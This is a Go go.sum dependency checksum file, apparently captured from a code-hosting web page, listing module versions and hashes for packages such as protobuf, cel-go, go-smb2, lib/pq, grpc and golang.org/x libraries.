github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
|
||||
github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
|
||||
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
|
||||
github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
|
||||
github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
|
||||
github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
|
||||
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
|
||||
github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=
|
||||
github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
|
||||
github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
|
||||
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
|
||||
github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw=
|
||||
github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
|
||||
github.com/google/cel-go v0.7.3 h1:8v9BSN0avuGwrHFKNCjfiQ/CE6+D6sW+BDyOVoEeP6o=
|
||||
github.com/google/cel-go v0.7.3/go.mod h1:4EtyFAHT5xNr0Msu0MJjyGxPUgdr9DlcaPyzLt/kkt8=
|
||||
github.com/google/cel-spec v0.5.0/go.mod h1:Nwjgxy5CbjlPrtCWjeDjUyKMl8w41YBYGjsyDdqk0xA=
|
||||
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
|
||||
github.com/golang/protobuf v1.3.4 h1:87PNWwrRvUSnqS4dlcBU/ftvOIBep4sYuBLlh6rX2wk=
|
||||
github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
|
||||
github.com/google/cel-go v0.6.0 h1:Li+angxmgvzlwDsPuFc1/nbqnq3gc4K/X7NrWjOADFI=
|
||||
github.com/google/cel-go v0.6.0/go.mod h1:rHS68o5G1QcUv/ubiCoZ5nT5LHxRWWfS0qMzTgv42WQ=
|
||||
github.com/google/cel-spec v0.4.0/go.mod h1:2pBM5cU4UKjbPDXBgwWkiwBsVgnxknuEJ7C5TDWwORQ=
|
||||
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
|
||||
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.4.0 h1:xsAVV57WRhGj6kEIi8ReJzQlHHqcBYCElAvkovg3B/4=
|
||||
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU=
|
||||
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/hirochachacha/go-smb2 v1.0.10 h1:fiSNyMOOlWzfdTVk6VtvxfDGqhjNDI2iYZjd/jdtmhk=
|
||||
github.com/hirochachacha/go-smb2 v1.0.10/go.mod h1:8F1A4d5EZzrGu5R7PU163UcMRDJQl4FtcxjBfsY8TZE=
|
||||
github.com/jlaffaye/ftp v0.0.0-20210307004419-5d4190119067 h1:P2S26PMwXl8+ZGuOG3C69LG4be5vHafUayZm9VPw3tU=
|
||||
github.com/jlaffaye/ftp v0.0.0-20210307004419-5d4190119067/go.mod h1:2lmrmq866uF2tnje75wQHzmPXhmSWUt7Gyx2vgK1RCU=
|
||||
github.com/lib/pq v1.10.0 h1:Zx5DJFEYQXio93kgXnQ09fXNiUKsqv4OUEu2UtGcB1E=
|
||||
github.com/lib/pq v1.10.0/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
|
||||
github.com/lib/pq v1.10.1 h1:6VXZrLU0jHBYyAqrSPa+MgPfnSvTPuMgK+k0o5kVFWo=
|
||||
github.com/lib/pq v1.10.1/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
|
||||
github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca h1:NugYot0LIVPxTvN8n+Kvkn6TrbMyxQiuvKdEwFdR9vI=
|
||||
github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU=
|
||||
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 h1:GVFkBBJAEO3CpzIYcDDBdpUObzKwVW9okNWcLYL/nnU=
|
||||
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8/go.mod h1:phLSETqH/UJsBtwDVBxSfJKwwkbJcGyy2Q/h4k+bmww=
|
||||
github.com/stoewer/go-strcase v1.2.0 h1:Z2iHWqGXH00XYgqDmNgQbIBxf3wrNq0F3feEy0ainaU=
|
||||
github.com/stoewer/go-strcase v1.2.0/go.mod h1:IBiWB2sKIp3wVVQ3Y035++gc+knqhUQag1KpM8ahLw8=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
|
||||
github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20190325154230-a5d413f7728c/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20210415154028-4f45737414dc h1:+q90ECDSAQirdykUN6sPEiBXBsp8Csjcca8Oy7bgLTA=
|
||||
golang.org/x/crypto v0.0.0-20210415154028-4f45737414dc/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
|
||||
golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de h1:ikNHVSjEfnvz6sxdSPCaPt572qowuyMDMJLLm3Db3ig=
|
||||
golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
|
||||
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
|
||||
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
|
||||
golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
|
||||
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
|
||||
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20200301022130-244492dfa37a h1:GuSPYbZzB5/dcLNCwLQLsg3obCJtX9IJhpXkvY7kzk0=
|
||||
golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc=
|
||||
golang.org/x/net v0.0.0-20210420072503-d25e30425868 h1:mHVdVrNGft0Bv5N0WIf3/ujpDOQOe6KxvwlIikPbMr0=
|
||||
golang.org/x/net v0.0.0-20210420072503-d25e30425868/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527 h1:uYVVQ9WP/Ds2ROhcaGPeIdVq0RIXVLwsHlnvJ+cT1So=
|
||||
golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44 h1:Bli41pIlzTzf3KEY06n+xnzK/BESIg2ze4Pgfh/aI8c=
|
||||
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 h1:v+OssWQX+hTHEmOBgwxdZxK4zHq3yOs8F9J7mk0PY8E=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.2 h1:tW2bmiBqwgJj/UpqtC8EpXEZVYOwU0yG4iWbprSVAcs=
|
||||
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
|
||||
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
||||
golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
|
||||
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
|
||||
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
|
||||
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
|
||||
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
|
||||
google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=
|
||||
google.golang.org/genproto v0.0.0-20201102152239-715cce707fb0/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
|
||||
google.golang.org/genproto v0.0.0-20210416161957-9910b6c460de h1:+nG/xknR+Gc5ByHOtK1dT0Pl3LYo8NLR+Jz3XeBeGEg=
|
||||
google.golang.org/genproto v0.0.0-20210416161957-9910b6c460de/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A=
|
||||
google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
|
||||
google.golang.org/genproto v0.0.0-20200416231807-8751e049a2a0 h1:N5O9PpTbQrkvH0IQ1q+mmGyg8Gt6iKcu6b6+gmz3jnA=
|
||||
google.golang.org/genproto v0.0.0-20200416231807-8751e049a2a0/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
|
||||
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
|
||||
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
|
||||
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
|
||||
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
|
||||
google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc=
|
||||
google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
|
||||
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
|
||||
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
|
||||
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
|
||||
google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
|
||||
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
|
||||
google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||
google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||
google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=
|
||||
google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
|
||||
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
|
||||
google.golang.org/protobuf v1.26.0 h1:bxAC2xTBsZGibn2RTntX0oH50xLsqy1OxA9tTL3p/lk=
|
||||
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
|
||||
google.golang.org/grpc v1.27.1 h1:zvIju4sqAGvwKspUQOhwnpcqSbzi7/H6QomNNjTL4sk=
|
||||
google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
|
||||
Reference in New Issue
Block a user